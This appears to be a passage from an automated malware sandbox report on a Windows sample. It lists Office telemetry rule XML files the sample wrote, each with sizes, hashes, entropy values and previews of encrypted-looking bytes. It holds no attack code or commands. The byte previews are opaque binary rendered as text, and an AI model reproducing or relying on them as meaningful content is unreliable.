Preview:	<?xml.G...?..$.M....DdD@I.oy4..O...."<y.UOw.~?QY\|:....1.{]).F..{7..vm\|...9.4...Oc.{..h.7.G..\|..2.Q...n..]..U.........>8.M D..M. ..;1q../..e...l.o......}..C,...A@..}..5m....?.v&...b.].R..M..:....+\|...t...'.(\|v.s..xJ.5.v......../..?...b.....R.5y.#..w.......L=...vFR.1F.},.......].[..].B.B).O".pv$..S\E.=.5.U.C..R..!..v......w../..F.v7..F.x..x.<..Q...&..P.`.`.^22...v.+.j).(..m^.7?.A}$.h.K.".r....c..&.p6..........(...H.f.D.TPP._U.....bJb..T.F.RU..@.\|.X.4<j.6................m.......@.. J.'uK...P..pQ.r.......,..fp.b..o'V.r..Y:....u5......!...S.Z.'..[j.....c.......d.yc.S....c..ws.?3-"..+TV.....$}[.{4..^s....`.....\.v.)m..H.5.(...Z..S.$dD......YE3........t...r..wR.W.?6..p,~..wU<..ne.8......<.W.....>.._..U.i8....J....0ug.g.sTJ".K..?].@?%.,..scgW.qO.\H..+.Ee.S....1..e.ad.....r...%n...r.c.g.....X.5r..4.........Duf..8TIpI..:.Q.0..7..x...kI"v....\|......0....2....`c,.?..-\.U.i.o....]..+J.K.;.z"..]2..<.0.......q...I@../.R..E.....d......l..hHLh.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.885935965789347
Encrypted:	false
SSDEEP:	48:R6DJdd3Ra0Vno7HnP6KtCzbR7bJ6xOTwK1GZWD:R6D/d33VGv6K4zN3XFQg
MD5:	279E22742C909605D8EAD0E82EB50953
SHA1:	F1DCCF064954E76DE516C8A9062081821C7DE87C
SHA-256:	48293082B17DA05AF6018E44E3696EEC8A7E4C6EA0C66EADA879EB64ADA0EE6B
SHA-512:	7446A19936FE3ED462002111979711BDF77D8F03537EAEB741944A911A29C6BD03D3358F1B5A0AB72B4F0C89A4EAAA298BB6A80FA7EFC67BAE7CFAEB68A020B0
Malicious:	false
Preview:	<?xml..[0...@.....'...<"....L..V..@...m..m...=.k.....t..T. .5`.Qm..[}..\.NMd!.O3.p tG.=.$hI2<+1.q..e.Ze....0v........75....~.A4..s.x.9.q..x...J..Fg..._....4..r)_..PR......QC.....J........KCp..LOV/..:T...P..7@.m...`.l.s.._..8l....I..B.pe.C..P5.....Sif.Y.cs...........`qI.zW...;...Q..e..8..D,..g.w..<.....E.}.....h.....D. ..">...:.....1f.....-.&...M?.?z.1.Oj.@.Q.Fx.hH.,..~.../.........w%.+..rV./,..u1..9q..#a..B../..^...`..T3..f.......K...^.`.......~..G.w.Y.....&t...'2#.k.p....2.K..2.c./.5.j.>.......WK:.........x...?9L..S.....9S.cEM...Lx3.E.)...B.b..<)>...=./A3...I..IG.....:P61..I.cXI..`...$.1.OJ5...a...o..U.u...:P3.j.V.%..3%.^..A.$'...i.E...\n.>..e.N. .t..8t...be...J..w.qv..-b.J.5L}...jy...13.....).)..6o.... ..T.L..-XlF1>u.7._;-HD....kk....5M....3W.+.d...l....u9.&....]h...JP....X..Y#.Sp....Q.....JWw.....V..j ...M....I@.P.h.8...tN....Z}..b.o..%t...M..R.S.....i-..q.....F.a......#...#..=.,p.)..........b*........i..3;.?..u.J3.l.f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.884641139297333
Encrypted:	false
SSDEEP:	48:03bw/spNQNw9bDFz2z9qH8novX74z2aBh4GdlzXn8uD:Ww/spSwFIqcC74vhvXB
MD5:	0601C1FF2AE8CDDE5C25C39F4C731414
SHA1:	008DCFF592A8B231AE0CBDD7EA755A6AF5EEA135
SHA-256:	01945AE8D495296EB58D372BCB5ADD6D0E4E8561897F86049795E0C1929845CC
SHA-512:	D449ED0E89986278E2F3B43933975DA6DC9958F961D523D061FC9BFC766F39276645AD5BA299FA2C56869A960AFD7D64FFCA64CB28B03DC0513CF8CFE369A7DD
Malicious:	false
Preview:	<?xml..FZ.2{k..0Q.}`9..D...._...t.'..-._....W.Gc....j.....&.{:.O.._.LB.m.G.......#..... ..H.....J.Y3..K.v......Z...HJ.;.f?..$..<.B...].{cx...Mi.2......#s.o.<...k.....Dp....V<....d.G.0.#......C.P.......o.7........$%ut..\.K."5..w..!Tx...@..........1HCE..w.+..5...g.....;..:p7..19.)..ammW..H..[o.c.....4.\|......$1.:.].#.n....;.^...O."......s.D...UPe\....e....sxZ;..Q>..b.?..k...........r...7...9..R..7}.u_...RO.,v..UG..2t..Q.L<t......]2HB../..\|.].>..sb13Ai.[.(rf..]........7.Uo...x.-..AT......y.G.G.ar.k.....a].!&..`.'utI..lb..%^r..XV.k.+5....o..X\|.R`.I.W_....u.l.yS......5.._..t..!..4.d......h.._.)k....J..k..kp"{..D..._s.Y{..].5.. :...........M..a@e....}.....2>k{..O...=_.UX..U..m=....H:.l[...W.J...s....4...53tRz+>.....T...=..u..v..]..^...!]...O..e.~.9..I........./..0w.......^.A.:.#Z.vV......_.....^g........Q"..u..o...G...,..+#.D'`.)W.U.'4./......W.).)..V........{T......+.h'.1x.[..d"5...E.CM........O.......Q..]...q.=...3.2.j.....2.S.U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.888413566844963
Encrypted:	false
SSDEEP:	48:zTFolPCh9cgWi59htIfF6ARM7odxhUnC0djkzixvtLD:PilPCEq59w6qMobhICojkziFn
MD5:	DBAA16B183B2E3ED6F737C68AE0E15D6
SHA1:	FE22E443A028B2945543A387F7E72201439F51DD
SHA-256:	15154516643204B6D353B1C57A1B2B0B8E4D7320258674ECE604E8DF787294B4
SHA-512:	5F435F15852E7BB502220A4134B159A4082410EF49DF52194FE76CC8058002EFD348352645E88CB44B4551E934F5CF3698FDF9DF1BEB3A1CD50270D8861B14F6
Malicious:	false
Preview:	<?xml.]..<W.....).......zn.K..v.\|.....F..P5~.5+e.<..I.._.....O.v...G.H....z..8..k.N.....9.f....V.......n...C?..........2)Q..n..Z#..`cT.L....?.X.....n.....ry.....(.}...d....J%MY...z....-.8.. ..I..7..L.\|...EiQ.(.ZYI$.6i..Z..d..M...@'._..=...C...B.1..b?Cs.u.i.......4.#KD...u.t%KY..q...l..+DR.4...LD...fW.{6.'..a.{..'iy85.......}F.,@..v.$.^.Q.w.T....1.b.8...O.....k...)l.S........wOT.T)...`8.VY..M.\|b,B..W]..........f..6..-...... 4.W..n.-.b...`....eEU.h......CGM.C.AY.w. ..C"..P..... .a.1.$....1.....\..1O...}...Qu....?.@...h2KP...K.b+.....S..7.&..^...G..<.^......G..G{..E...`.=0......8j.xA.%O....T......h+.qF.g$'!\|.....Pz.%...}\.].n.}.k.Zz..%.ps.e.amM..`.....'1..y..^`2.`.Y..md&......D..Fs./......\|...Z...._...z}.6..}...O.P..<..Y...>.a.....P...q...<rh....~BpC.....[......E4;.i..A.....O9a ....w.]h&........&....M.{G.>.D..1..1#..G..&,...`kJ....<.>.MY.s.`.q...f.>"...."i.ix..@..............s/....;..."z(L..E...IU..R.bv.l...>.7;Z.?..."..$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.8782914456739
Encrypted:	false
SSDEEP:	48:4cMm5m/cLXyA6YrGrzc6Vi8J/5Cx9hHwnnD:4LmhCAwzc8KxInD
MD5:	6132595A494D56DE060CB4D6B1857716
SHA1:	8C01614575B999DC5348F0BB830632921CC54B11
SHA-256:	86B88BFD0867199DF736D2E4AF3F40D5C306D6F7039F35012CC0491FC1E285F9
SHA-512:	3770BDF8660A102750C1C3B38F11CF95F07AB056A5C4547D4D5C10325C17BFC67EF5A35FC276CB72C7B5A311E735077D5D7044E7809AC553198F3EE1547DBEC5
Malicious:	false
Preview:	<?xml..!~..S.0r.0d,.j)o.I..n.......\|.......'........k..J..%.5y.._.......foJi...>K.>bu..p......s....at...Y....)K..........f#.7.&.ipn....u.....BYN.X.A.M.t\|...N.{i..K....l",8......Fk..+.F.m..v.w.E.^h..6U.Eot\|55Q......c.u.w..........H.....t.3.e..>..1[.34}.=..2..L.c E.....1...,8s3.C.....e?[.l...z.=p.d]"X.F[2Y1...no}.....>....x{..m...s........v}. ..MJ.nIN.bDn....4.&....%0)^....b.O4[V.....W..A.}.....E\....J;......pv..k.zRZE...j..]..........W5.....O.1$.`...d.]Sk.J[....3[.U..o}p.Rd..i4Jl..Pw...#N..9.....8..u.....\|...V.\g......&.1.T...L ...=H.BvV..M......K....D.qn.0....z ..;)..o#.#T...9.W.?.?..NI]$.9..g...;...j'.yq..;h...+wf89.K.......~..^..no..7..k..."..vK..U>.S.M8......`^%.'.t.!...y....V.rN...Q.V....>.=....D.GI.G.*$....B?L:.l....J..d.....b..P..gb[W.:[7j.OL..k/..=.xY..?m..I....]...p.0.DUk..sv...._.......Z....IF..\|......\|@%...>.....a.....Y ......\.....C.^.R..,..........%.....p....K..........(Vl.@.%...u.p.......j.k.<.........V]..b.O.^.J...C.e....'.@.ai.%...<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.903218087079193
Encrypted:	false
SSDEEP:	48:rq2BqN+KALitcG51ODlE9HWzaL9/LhCGakeS67hI6D:rq2bJitc80DlEYGJDhCXkeSQf
MD5:	61B6790D938BA15D9209C057F34C1045
SHA1:	CBE9FA60135F5F6BAD9909299CA14E68197A2002
SHA-256:	F6EE9B105A27F84FAF16432D9201CAC56A0B1FF379EACBA823164F2E4EB92078
SHA-512:	ED053D2584C5B98C10C9A2145BD5A8CA91F8A5C7A467F5B23C60879A30A4BC4A4C9CB0B5977E4A01BD1968C283FCCBF62BD67DB8168EDDB1C12DCABC7C4782EC
Malicious:	false
Preview:	<?xmlk.uL...)..x...a6.6\|......^K...>..`).D.gH..Q.r9)...QJ.....o....8..!w...n\|.'...?..f...4.6._.P...X.....?~z.1qk.u3/GX.iR...&.].{...b.!...tqF...r..R..8{}....B....{p...ZG...'<.A)=...t..#..g...^^.k...]I..V`.i..<Z.W.l..\|7zvt.......)....$w...I;4...~.g..{m..JZ]......>.....IH...abs..,.:.:.V^,..[pk.:+.G0..OO..sab.... ..<.S..z.w...iL.?a.DQ..!..S.0.0..........[.7.m...A/................q.l...1.H"......$.A%:.X......-HM..W.....n]-...Y.$A...D!......1/2..H......;...s&Z...U..".S..K.v...6.a..c......b...l`...6."{ `..PW\...w..<Q.........j.....~.....d.twh...DV<;.<...\.FK..{.Z.._.i.0..../^rE.h.r.Qg..../.xy..-Z.....G.ELp.s~....N..y...c.s5.P...XT..T.bm.2f.2........z..S'w...4.........@...H...........\.Q...1o..U.5(.&.."..U.Q...bv.d...a.....N.......WDK6..3.....~[N.fe.Y.*.v...(.[LF...a.QOes......u...`....!$..Ve.......n,;..nO..'.:(..".(.kE.Q,w`......#.ax...c".....V..4.f..7y.l.$....BG,0...6....?."...P\|..k.....h....e..~..6.yO..c...`.@qK...v..-.........F..vZ~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.894759432977498
Encrypted:	false
SSDEEP:	48:og2weIiAmI0D/O49VqWbFBfqAlDr8M++UOM+D:og2wtiOI9bFsyDrlUOX
MD5:	0555FBF3C8F89594BCBEBE9F534B5C16
SHA1:	1B17D31B8E6F3437F99062E9F4A42779BD4FB4E1
SHA-256:	E007F75FD3DAD9EB63BEF6D79BE38B9C5C40F89C49852F9DBEF94E18E195DF1C
SHA-512:	55F6D99635ECBDE81611EFD75A929CE61CDBCAF1D6755AD77BDE2DE701E4BE9B15726D99A633CDE1C516271D34A6A540244DDF9BEDC0C938236E2D4A170B8DCC
Malicious:	false
Preview:	<?xml....q.....L.r.......0KRl....C..0p..........%.9B..@...y...llJ.T.u..0\..3\6...$.E,)...J...'.._n....C.E{.m.}..).p..A2Awv._Q.../....^.#W.].......Z..<..v.!4k...)....4.G.~..<.....o.=b.w.n'D=(`...D..+kF..9X....%)=.J...lbwS...l8]9.X.HM..>...&\|Uq...l..B0..XD.\...S.G..e....N..uXH..nd......@...7...?\|\.LA-[l.....#...b.R..wLJx.A_.....;b/.[S.:....&=..p1.M...Vn..BV?53.......^yj.U...Y.A8]w..><v..8tx..%..;....Y....yF..^\|E'....To.._.\|.......k.....$+.6.KBf....3&5.D.\|.......$.V..YO......Fs.".~..M.U.......n~2.....-.>IE}WN....BA..b..&-g......d.j.....qC..~MJ\...Q.........uS0...y..Im..1..@..5t...!tv.{...[%.w~...$!.......U+x..?...BUG...Y../qoh8.U.wa...r'h.;.N.l....B.. ....Ep....d......bn....U.-.pKAr_;...>CB..fj.y.NR.?..dN.N]^..>7K...I...+..-.....PS_...J..!...v....Du...c.NII..y..$.=.@3j..O.......+...M0.S.n..\c/..e...$..........S.4.G....$.mu..T.H.ob0..>s..#...(X4...Y!.T..YXUM.j....v.;!..4.f i....;++8..4..........:.n`.i.}..,2l.kB:.l....o..L.VQ........Ac....:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.887393665812861
Encrypted:	false
SSDEEP:	48:0Cv4Sm7Xrg3l5FoeogtiAF1jQJrn0Zqr7/cDNDUPcvD:G882tb1qn0Zk7/cDNIPu
MD5:	FA2789BC8EAAABB1DD69B97534A1F6E0
SHA1:	B6824683FA0554C59B9AE954C966ED59828D3FC6
SHA-256:	E97DB22384E4C3A317A21ABAC845F21655C8A8EEFC46FF95F1BDF13F3FB610B4
SHA-512:	691163A35406FB144FC58E26C561BC2E9C2160947BA33D68E26045D5D2C790345B3887ADF840988BD1E4366DFED723CC15BFAB32C88F89D430F74655C2C5FE3F
Malicious:	false
Preview:	<?xmlSp.`H-.,..,/b.)".....BL.{..:u........w.'UuY8.......>.3.q....F...EU.n.>.A..rG(j..4.I..Jt._...~...y.`O4.uLA.^.$..Q..o...5..zB..).5Mc.....<.... .............X.@......,'..._.<.}...4...T...ku....3}.3..... ^..^...f^]]8.y/.R0..>..Qz.h...F.'..3.H.9..k.."..4].K..E.z..;...j.U.'.T....Ge-.5.{.7t..b....yz.. ..O ..q.Z.....x2..>...t.,...ec_6.....Yh.^.S...x8..^.._.....^jY..le[.g..5.B.....f...E...6.o.?.-.B....zLP...o E..j......^.M......._.p..eJ'....M<.6.$...s...+Wj._.....&....U.#.I....?..r.lI.Z..k....>D^.k...Ab.Y.....CeWJ.r.o,5.5.$..<....r,Y.9..L././.OW!.]....L.y..&].Q.J.. ..D.6.`.0.&.@..W...........?z..........$.C...6...R...t...\|.=..8..Plv<C..e.G.M}.f..'.x:...X.kI...lC.NR...M.D.8.;;.$.A.ba;..T.z.....U.n..6h.."=.p..bv@..,.~....,.b.>..[..Y3V...s..r....'..r..:.>..a*I....ht...Bbqd...8.5..#.....gJ....1....\|........se&....ass2...PZ..S..l.j,z~.\|~.B.W.h.....&...5.w.9..6w.....D....,.BE....WWiz..zmX..:.....""..ATg[a.g..[.;.f........'.a.......IQ..N2..gA......:Q&P.5D...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.864272242261127
Encrypted:	false
SSDEEP:	48:nYd99IPq4hVzouDKUjNS+p+fzLrmVnpWEqRixQB+qD:YCi4hLDd4zmVnoEii2H
MD5:	56470FD064AFB8EE8DD1DE89892274CD
SHA1:	752E9D2014AE146DF2EFE521D9806EDE7EACF7F2
SHA-256:	A436D438C36BCD6B9397A40C13C503875E0154BC46095EF69B84E8C4968FBA0A
SHA-512:	7237F783D40048796F839B5759C8A52E78E7389512A040BDF5A4A67C911486D525F419ADBD3A0C68C9AFB8BE35B5415E310110260285F19687572458E7BD46B6
Malicious:	false
Preview:	<?xml@....G%..."...).X.s.$L.'.d...;6.[.........Q".L...(.,~.T..:`..y.....t......O.......6.CTR...>.+...h.Y.NJ.8VC.;.....@f............!,1.....n.F..QSb.i..} 7i.....`.YJ.e.e.k..g.j....,..E$.&......L......i....W..y./.DS].......n.....z.w......C.Da\|\..$..G.0... ....&p.+....M2.YT...2.....c.xV...v.C.=z<.U...V3..:(...)-9.W.xD.V$b.....4...(l.p.Z.M..pXg.. ...}.LA..np.tbm9.O..k......m26]..i...5..'.z ..Q9..=i...'!...........S..`=D.Z(+2.v."].V..4..]H..H..S...8..b...i...>....w....)yh...,.)+O;/.!.3....vR\...:..q.N2.O...n....u\\..Y.`.o5M.x. .[..8J.}..@.Q..f.y..t3L.....;......Wy..../]..Ey:.........y.......B.V.}W88.!.k.C....._............R..........U...%r......$..=..R.@........v...@=M(W.7....n.E/......7.\....hvhfS.l..~b...onh.A.Y....-.v.3c;%...4;Q7.L.d.\b....B..d..~.=...f....[=;J..(..c"....-.....]"#....0......F..#...B.Q....qmo,3y.'..y.. .....T.....v..v...p....5VO.Y....dF.lu=.v.)A.......]WS@TWV..Y.+../Hy.vG\|....o...6_.06f.3.<u'nI...;.MZ,..RSt.7n.k..!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.889696484861706
Encrypted:	false
SSDEEP:	48:No/uR9/ZMKx+8w9JZGEUtzqIDRQdgN6qG02D:VjSnZGftuoRQo6n
MD5:	67BB821E5057BB2B7C226EA4ECEE9C25
SHA1:	E530AE2C07D3E683E250260BB45C0A4F87229890
SHA-256:	689E690E0CDDA3301BDE40888E88CDE78F75C0F73EC4522F3F5396997D02F44F
SHA-512:	3496125E3A4FFBD6B7283C9344029EFB37B94F3C566EB938A1A0D31EF65D310D4E92F7FB4D2593328A8745DDA19B925FEE2C3C18A760FEEEB8D353AE4FABC2CF
Malicious:	false
Preview:	<?xml..(Zh.7.x,..Q.:F)4 ...%....g._D/.....X....`tk../U.......N\|.%............_d...n..=...5..Ni)..T...t.`.#[..$..w.q-.A.r\|.,.)......@.(....iY.'Z.G.b..sQ`.@.v.....e...7..v/9.....w.`..Ily.5;.o4.Hs..x#a.,.Q...<.I...{.-9..T.1..\|..:.../..P........l...5..EQ..Q...`.....l...\..:Gq..R...<....OG[<...r\|.H......T\|vIQ..5..X.e.......B....n.......p@9.P......6..0...H.;..a>.h..Cf...Z .D...u.. _..._w.~.{,Q5...17..Z....H.......G........H.u.U.{...rH..=..*.....e..'..>u...B.`..i...+ .y.Z&4.9.#.>........[8W.(.=.o..'...K..d..@.<6.Wt@..g....%xM.A.TJ....#.f.9..:.c^....2<.:9.ZpH.VP..k.`..g..7.kI.D......."..P.....g..C.9..a...GC..lp.0..t..wA..Q..h8.aG..<....<..\C..9.#i..c.94.ZL..C.Z.NG..GGF..~....aRS...;1.p..2^.0 .#....j.l.jr9.s.\,ej).Yo...c.q.o..:)S.~.....N.(.>Y&.............s.]........./..e......wB&B..i.....R.s].v...8.{....,.a@Vn.j.....@.3.s.^68.%y..,..b.T.......1...\..CC...O...8&...YBv(.....}.6..E..?......5%.t........!..\|...M.V.._...,../n.+.A.vm.a..\|.TY.@...9"~H.`eO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.863778805840258
Encrypted:	false
SSDEEP:	48:z3/C7tMfiz+UZxBr27Kwzj/ckWmhTjBEaD:zsfxx92GCjzWqTjd
MD5:	E03FD8703E4BA4EB681F967CD60D0646
SHA1:	2B57E8F7FB0B1A3248E227F9C558CEE9E817A2A9
SHA-256:	D5E44650B2AA9E83FB80BEF3CED7C803705A4D69869CF17924639893C9C546BE
SHA-512:	790560FA929012CDECFD713D4C8D41FCAF9859C8CF3F9E8702315101F30F22F9A1F112173787CF628618E4C9C6DEF30DB71BCE432E6F428EC5AA90BA5F4E7962
Malicious:	false
Preview:	<?xml..A<z.....7nzd..1eI.q.9vX.../-w......%r1.IF@;W.d5.U...p...ryLo.`..C....MQ..I.....n.H.H...g....P.}B...-..R."..G.u.\|.N....H.C`..D...R..0...m9..Y..w...".X..O........F,......I...M..B_?m...f..?..u!u..2I.....r....!F3.....=.......o.....&.I....ZB...........O.T...ZY.!!...e.8.^...UX.3.(.b.A..`.n.K.. ....5..'..N...[J$.P$...........%uh@nr...x.N.@].{.F.....W.`Q...Z..8..-........v..(U6..%.,....7.s...P....-....89Hxa[.Ij..d......3;b.z.uu.d.......U.d.!..{.L... .....1..6........{.4..>.^..\wN1]Q.. B.2.4.Y8&..p..K.d0>....i._"H....'....V...$.;..{q.%......=t..T...7g.U..D.W....Cz`.L..F.!5x.~.k.C..\|..Y.....ls.I.nR<%."x....q..g..HJ0..O.%..e...;h...^....s...}..x...2..A.;b."...$..;1..J-h0.N..."h73.U7.W..v..o.......U=xVm..C.\...!9..Hq.BV.Qd.n.......b.T.J....W.=.M2.O.....x........#DU.....B...=.^....#...i6\|..}.iyX\|..vF..n'I.?}...,.......D.U.c..].Bq..M/sBu^;..\|.8..s.B?.'-.%.5.".t_.y.S......Wg....tj..`.X.j....PE...$.._...h...U..."-.GK...c.$.....\Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.876368850362902
Encrypted:	false
SSDEEP:	48:A5Ia1yAt9j4v1mrHMEE6h4+KEpGjvtBao9QED:A5InAt9jemrHVEI4+pGjzz9QQ
MD5:	9AFBCBDD715B1EB88B5E4387EDD5FBEF
SHA1:	6FBF512503674C30BAF1348FC285B4E36B175C5B
SHA-256:	31669826C733D2B6775DA5C1FDBAC4447A0B40D093F38298350B183ADF4BB806
SHA-512:	EC1835949651975D8714090A67E30E43EA2F4BBC118C16A7117647A03536C67AAFC6CA82019A339EBC0D94667990FB3B2FB678D8CFD07C49C2D81A62249E9D9A
Malicious:	false
Preview:	<?xml.]...k...lJ.".[:....I.....y.K..K._.z/...[.~7...<M..Y4.......:. ....P...C...'.S=.<.G$....bq..Xr8#U..{!.f......\|..........n.,C.....!=(.)2.@..........J...85..VJE.."....Up....9..'.a...3.....M.=.&4.{.2Nl..H/........@..X......Nas...(.k].j?.......tu......kH$P..i..V.Z.m.@....<..{.p......(D..?uh..4)Zof)..S%....e.u.......~i...n.T.~.K%..2$'...fW.u..Pm...w..5.9..>.....7.8.....)g....5$..s.;......O.J+.F.o.LJ&.).!........&..K..]..T/....u..........P]Wj.t..E.H..].U.s.F.j`w.....1P..c.......H...........q.%m..-....u....T..O......?O.....\`......z.......>.L..0?..wP.NO...&P5.....z.[..\u.>.M..:V....D41.Z.1.{.....<.ED."q./...X_U....Q.......z..c........f...0......0....H...>+k...IB'.m..O...2^.6.R<...!.I\.{..S.pJ.....<0.....z...........{]........Yb:t3..n..15..e.O.}..x..M..B....o..~..\b..."..T ....af..t......Rv...+.z..CS.=.6.~.........6 ..:*...8.L2..E.u../..Y4..j...7}..C..[.. .......w.^H~.Rh-KSx.1.-.Q2.).BZI?#,l.=Js.G{Y...........f.H.....^u.c.......l:l$O.#.E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.88410735041304
Encrypted:	false
SSDEEP:	24:uXV1peLoAqxKpTZzWXE80uE958IwkrFqU6BllIj7uYyBLFxu4lCwuJJni62bD:QV1pih3cE80ucWSiYj7uYEF2JgD
MD5:	E203FE862533A0BFA5049BB67EB95EC3
SHA1:	BB72DF942E46EC3769228CC0AED83D396C2E4E64
SHA-256:	15379325B8833A4B77D6E768BD1AFC4AB90264518053E08DB9C32D72144B57BC
SHA-512:	4FD124C43B565BB192AF76D653E4C800BFDB827266C172A52A99BE4844E780A0CC685E7C9867324E552103FDC0308CD4A63F82AEF7BBE6244D200A1B25C953D3
Malicious:	false
Preview:	<?xml..~..].......g...>%.Q...\..].V.T1'..1......Pc.d!.2..q.D..R.f....2......U!b.ew.Tc7....N&.1...F..aAt..-..a5H...S..u"...Q..N.%Z.1.....H...>.%q_Q....b/.81.l.bg.X9.dY0]..R..h8......&-n, R.=....(....]k.RdV.....?!@G.d..S..m.rS.>...(.....0....N.T.s.-h.m....`.]......>94U&..#.8..{-d'.~..=.?.t.d.V;v......5..kK.....=b>"V....wg...!@..d.#..b/.\M..4>.Uff..6>...v"[...pz...7f.@9....}....../..y..~...\2 ......Hp..& ..q.....u..e.(..a.j1..pza.&!P.NqV...A.......E.m.lk.bD.......NM........1.......$.q..c....r)......!.L..B.M...C... VW.p.?.......'.,.b9"...h.wK....<.\|.;.v.....S;I.mD..@..Z%.@,.o......@..,...Z3Oi.....g...PF...9....T.yT..>.[.....g.....NaI8v7#F< ..L.DI.z.J....Fx.?....2~..g..Jr.&.V..W.Wso0)7O.......#..t./...}.-...x.kms.L.Z...`o~.{l.......>.x..e.X.,.S.).=...Q%...a..i..[......6g..L.0.!..VQ..[..?.....@9].^=...M..n.3).....].....Mt1rC*..4~.v~..\|..'T..%C..Z..{.z..i;..z.....0...C.Kd...&F..RvA.u....T.....ac.........Mug.....(V...).T0.R..<~@...T..H]{...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.883480300216663
Encrypted:	false
SSDEEP:	48:br4HrIOb3MaG8XTc6xisl4IZRQMcTvdjNqGeyqONrD:br4Hbb3DdcU1lpNcTdg5oH
MD5:	C295251BA8A0F7609FFC65FF25FC46A4
SHA1:	03FD1FFDE18F35C1B78ED3764395CE8E607EB3AF
SHA-256:	F281EF6F73E6DAB305BA0E85127AF822EF74A1EC1EB650A96B37D646A3688C76
SHA-512:	7D170205295C7E8AE9B675D43ED4A1BAE877C14042002FBCBAEEEAEEFBA0F2EFB31F97E586378C56BF3E01CE03ADD3FA88B7275DEDBE83BF2E3D3F11BB978781
Malicious:	false
Preview:	<?xml.LY ...kcHE....)]...d.^.R.....1.^{;....(.i3.dm..N.u2J.`.?..;....C9.x_..........u..U.....Td.........._}..:po...)...bH..}..../t....9...]#..n.3{..^^..%B.^<.:....1+{.\.'5......H..v...7m....!~xX.zz..,.....5H.1N.-F.[$.?..&j_......{.....$. p..f&...E..Q9'..-..........`.{.....<O.6./M.4....b....o..5.....,...LYt.K$C.....9.Z. MGD.....tt.!G.N...2}.a.o....p...'(H.e2...:.&`.......Q.b\Dg.%..Z......\vv..ufO.R........X..F.....2....t\| k.u...r<gs......4..U...j,.<...]%.....F.....R..o..(..k.H.q..U..~........T.....q...Dd....l.wU..w...=6..#N.S+'.{...........L.?.?./..V...._-.MX.u.jr.k..k....NF....&F.d1s..Pp..EW ....G.U....s..A...We.3[..\..T..]....[..w74...!`}..Pd.Rm.2..V..B8J....#f.......8P.[........./\r.b.yQ.e..h..C%m.T,...K.4...2..$.... ..Y.v..`.P.l.vo...x.U.8...r....G.cXj..._..U(i.I..m.M.sz...QH_#......>.:...tWQ...L?...Y.b..W(?...0.[&.!)......;....].e...\...j.z<.R..T,:G........C...;)G.........dr.d&=..&.Bt..Oq8.n..].........=.<F.]:-y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.886848498495225
Encrypted:	false
SSDEEP:	48:u8pg8afA51diHQPnn17j6T7e+75C1eyNAecS3OP/DYyhuD:uGaSriwfo3geyNAK3OPrYr
MD5:	D5898B019504DA08B87FC0E7DB061066
SHA1:	84A8761402F84D86B72E72EA5699F1EE29532537
SHA-256:	2CEB965D3A620E0EBB3BC4D2970BD104F1BD714CA89F253CD5BCB78A3C2B9196
SHA-512:	568F545E91C98DD5D2ED6783733ADFEFE1D1E326FE6AB8E6AE78418435AC8E9DAB45C22ABAF697CDD97AA5E6CF7F0A23D66BD119B241CCD6687CFB41169E2C14
Malicious:	false
